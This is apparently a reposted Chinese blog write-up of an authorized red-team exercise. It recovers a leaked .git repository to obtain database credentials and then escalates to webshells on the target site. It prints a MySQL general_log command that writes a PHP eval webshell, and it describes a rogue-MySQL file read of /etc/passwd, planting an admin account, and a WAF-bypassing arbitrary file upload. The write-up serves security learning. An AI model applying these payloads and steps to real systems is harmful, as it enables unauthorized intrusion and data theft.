记一次攻防演习渗透过程

admin 2021年4月8日19:17:12评论63 views字数 4232阅读14分6秒阅读模式

记一次攻防演习渗透过程

前言

记录一次攻防演习渗透过程,文章仅写关于「打点」环节的部分,也就是拿到靶标的Webshell为止。


任务: 拿到XXX业务系统权限...


过程

靶标是一个www的域名,简单看了下有机会硬啃(商业源码),但时间不多,先找找脆弱点,常规一套流程,收集子域、C段...


脆弱点发现

在对子域的常规扫描后,发现存在.git泄露:


记一次攻防演习渗透过程


以及发现了phpMyAdmin应用和一些phpinfo()信息泄漏:


记一次攻防演习渗透过程


看到这些,不由得兴奋了起来,接下来只要按照预期的想法: 通过.git拿到数据库账号密码(源码中一般会有),登录phpMyAdmin,然后拿到Webshell...


但...转折点来了,尝试使用GitHack等一系列常见工具去恢复.git,发现恢复的文件只有一些图片,看Logs发现有很多文件恢复失败,既然不能当一个ScriptKid一把梭哈,那就自己来手动恢复吧~


Git原理与恢复

基本概念

Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区


工作区就是正常的目录(你的项目位置);版本库就是在工作区内的一个隐藏目录.git;如果你曾经注意过这个目录你会发现里面有许多东西,在该目录下会存在一个index文件,这被称之为暂存区。


除以上所述之外,大家都知道每一个Git项目都会有一个默认的分支master,在.git目录下有一个文件head,它用来指向master这个分支。


记一次攻防演习渗透过程


当我们使用git add时,实际上就是把文件添加进暂存区;使用git commit时,才会把暂存区的内容添加到当前分支,默认是master分支。


我们可以来实际的看一下indexhead这两个文件:


记一次攻防演习渗透过程


使用Binwalk直接分析,可以很直观的看见index内有许多内容,head并没有,直接cat head发现这就是一个单纯的文本内容:


ref: refs/heads/master


前面了解到这是一个分支指向,那我直接查看.git目录下的refs/heads/master文件,得到一串Hash值。


我们可以暂且认为这是master分支的一个记录,用于区分、比较。


大概了解了以上内容后,还需要了解有哪些文件才能够恢复.git?


首先我们来看一下.git目录内的一般结构:


名称 类型 作用
.git/index 文件 暂存区
.git/config 文件 Git配置文件
.git/description 文件 GitWeb专用的描述文件
.git/info 文件夹 里面就一个exclude文件(与.gitignore互补),排除指定文件不用做Git提交
.git/hooks 文件夹 存放一些钩子脚本
.git/HEAD 文件 记录分支
.git/objects 文件夹 存放所有数据
.git/refs 文件夹 存放提交对象的指针


知道结构及其作用后,挑重点关注objects这个目录,但一看,全都是一些Hash命名的文件,根本不知道其对应关系:


记一次攻防演习渗透过程


并且这些文件都没办法看:


记一次攻防演习渗透过程


查阅相关资料得知此类文件是将原文件内容经过zlibdeflate压缩后存储的(https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details):


记一次攻防演习渗透过程


而使用zlib进行解压查看文件内容时是这样的:


记一次攻防演习渗透过程


这个文件更像是记录了一个目录结构,而关于此就又需要查阅资料了,具体请看:https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1


git中的对象(对象对应文件).git/objects包含了:

  1. SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的(40-digit)“对象名”来索引的,解释了之前refs/heads/master的HASH内容)

  2. Blob对象(用来存储文件的内容)

  3. Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针,一般表示内容之间的目录层次关系)

  4. Commit对象(指向一个Tree对象, 并且带有相关的描述信息)


记一次攻防演习渗透过程

注: 图片来自 git-scm.com


按照这个逻辑,我们需要先获取Commit对象对应文件找到Tree对象对应文件再通过其获得Blob对象对应文件,最后解压即可获得源文件内容。


那这些Commit对象(文件名)都存储在哪里呢?通过之前使用Binwalk分析,显而易见,在.git/index文件中。


但是在这里.git/index文件无法直接查看,直接套用GitHack的(https://github.com/lijiejie/GitHack/blob/master/lib/parser.py)解析代码就行:码就行:


记一次攻防演习渗透过程


获得SHA1: a797b1973fd62dc34a691c7fe3bce33a504f2b74,但是找了半天没找到这个对应文件,后来尝试搜索前几位和后几位,发现搜索到了后几位:


记一次攻防演习渗透过程


对比发现文件名和获取的SHA1值少了2位:


记一次攻防演习渗透过程


搜索发现原来前两位是作为了目录名:


记一次攻防演习渗透过程


但在这里,我们使用zlib去解压缩,发现存储在.git/index的SHA1值实际上就是一个blob对象的值,也就根本不需要获取committree对象的值了,表示之前的顺序逆推逻辑是错误的:


记一次攻防演习渗透过程


接下来按照这个思路去编写脚本恢复源码即可。


编写与恢复

由于项目时间原因简单了解原理之后,没有过多的去研究,也不打算使用原生方法去恢复,还是采用最暴力的方法,使用命令行去恢复.git,想要让Git回退历史,使用git reset --hard commit_id命令,进行版本回退。


基于这个命令,我需要获取网站的这几个文件/目录:

  1. .git/index

  2. .git/logs

  3. .git/head

  4. .git/objects

  5. .git/refs


先下载.git/index.git/head.git/refs.git/logs(文件目录都是固定的无需考虑其他情况)而后解析index获取索引,根据索引依次下载.git/objects内的文件,最后全部下载完毕,获取master分支(refs/heads/master文件)对应的值带入该命令git reset --hard commit_id即可恢复:


记一次攻防演习渗透过程


但发现除此之外,发现恢复的文件寥寥无几,后来下载.git/logs/head发现该.git项目还有其他分支:


记一次攻防演习渗透过程


这个记录中有两个SHA1的值,master对应前者,shop对应后者,简单修改命令git reset --hard shop_commit_id,还是那一套流程,恢复shop这个分支的源码即可。


获取子域 Webshell

获得源码之后翻数据库账号密码:


记一次攻防演习渗透过程


由于之前我们已经有了一个phpinfo()探针,网站绝对路径已知,所以直接上phpMyAdmin登录,尝试使用into outfile,有--secure-file-priv限制无法写入:


记一次攻防演习渗透过程


转而使用Mysql Log日志存储的方式进行写入:


set global general_log=on;
set global_log_file='/xxx/www/xxx.php';
select '<?php @eval($_REQUEST["xxx"]);?>';


访问相关文件却提示我无法访问(403/AccessDefined):


记一次攻防演习渗透过程


遇到这种情况尝试以下几种方法:

  1. 修改后缀访问,判断是否是只针对脚本后缀进行限制(上传.htaccess文件)

  2. 修改内容访问,判断是否有安全防护对内容进行限制

  3. 如若以上均未访问成功,则可以考虑覆盖原文件写入


这里我的情况是第三种,大概推测可能是因为新建的文件没有执行权限所导致,因为这里我们已经有源码了所以可以直接找已有的文件(建议选择非业务相关的文件)进行写入(记得事后恢复):


记一次攻防演习渗透过程


执行phpinfo();函数可以,但无法直接使用管理工具连接,抓包发现目标网站上了云WAF,对请求内容拦截了(该WAF还挺弱),这种情况还是有很多中方式:

  1. 配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等),但需要修改PHP文件内容配合解码

  2. 直接上冰蝎、哥斯拉的马就行了


为图方便,选择冰蝎3,使用file_put_contents写入连接就行(这都不拦,WAF堪忧):


记一次攻防演习渗透过程


记一次攻防演习渗透过程


瞄准靶标

进入子域的Webshell发现内网无机器、就是一个云服务器,一开始误以为打中靶标,因为在主战发现一个路径泄漏:


记一次攻防演习渗透过程


记一次攻防演习渗透过程


而子域服务器上也有对应目录并且文件一模一样,但是修改文件却没反应不生效,猜测很有可能主战业务曾经在这个子域服务器上,但后期进行了转移,原Web文件还留着。


尝试翻翻源码,找密码,后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息


记一次攻防演习渗透过程


Adminer(类似phpMyAdmin的数据库管理工具)文件是随机的: adminerxxxxxxxxx.php,完全无法扫到,数据库配置密码与子域完全一样。


记一次攻防演习渗透过程


使用数据配置密码无法登录,但是这里Adminer可以直接连外网的Mysql数据库,使用脚本( https://github.com/Gifts/Rogue-MySql-Server )伪造一个Mysql服务端读取对应文件就好,这边以/etc/passwd为例:


记一次攻防演习渗透过程


如上图所示是成功读取到的,而我们在子域上也知道了对应的配置文件路径,直接伪造读取即可。


再使用Adminer登录进去时,使用如下几种方法尝试获取Webshell:

  1. into outfile -> 失败

  2. Mysql log -> 失败

  3. Adminer是最新版本无漏洞 -> 失败

  4. 获取管理员密码无法解密 -> 失败


最终选择添加新管理员登录:


记一次攻防演习渗透过程


登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell):

记一次攻防演习渗透过程


测试如下后缀及服务器结果:


Key.jpg -> 上传成功
Key.php -> 上传失败WAF拦截
Key.phtml -> 上传失败文件类型不允许


记一次攻防演习渗透过程


记一次攻防演习渗透过程


我们在已经有源码的情况下,找到对应的代码进行审计就行,发现这里是白名单设置无法绕过:


记一次攻防演习渗透过程


直接关键词寻找上传功能,发现函数:xxx_upload_file存在任意文件上传


记一次攻防演习渗透过程


后续构建请求包以及使用回车直接绕过CloudWAF,上传成功:


记一次攻防演习渗透过程


记一次攻防演习渗透过程


至此靶标拿到,结束。


文末

很多时候还是需要去探寻事物的本质和原理,才能更加清晰明了的了解这个事物,否则什么东西都是现有的成品一把梭,遇到梭不了,容易出现惯性思维,可能就直接略过了。

本文始发于微信公众号(NEO攻防队):记一次攻防演习渗透过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月8日19:17:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次攻防演习渗透过程https://cn-sec.com/archives/188918.html

发表评论

匿名网友 填写信息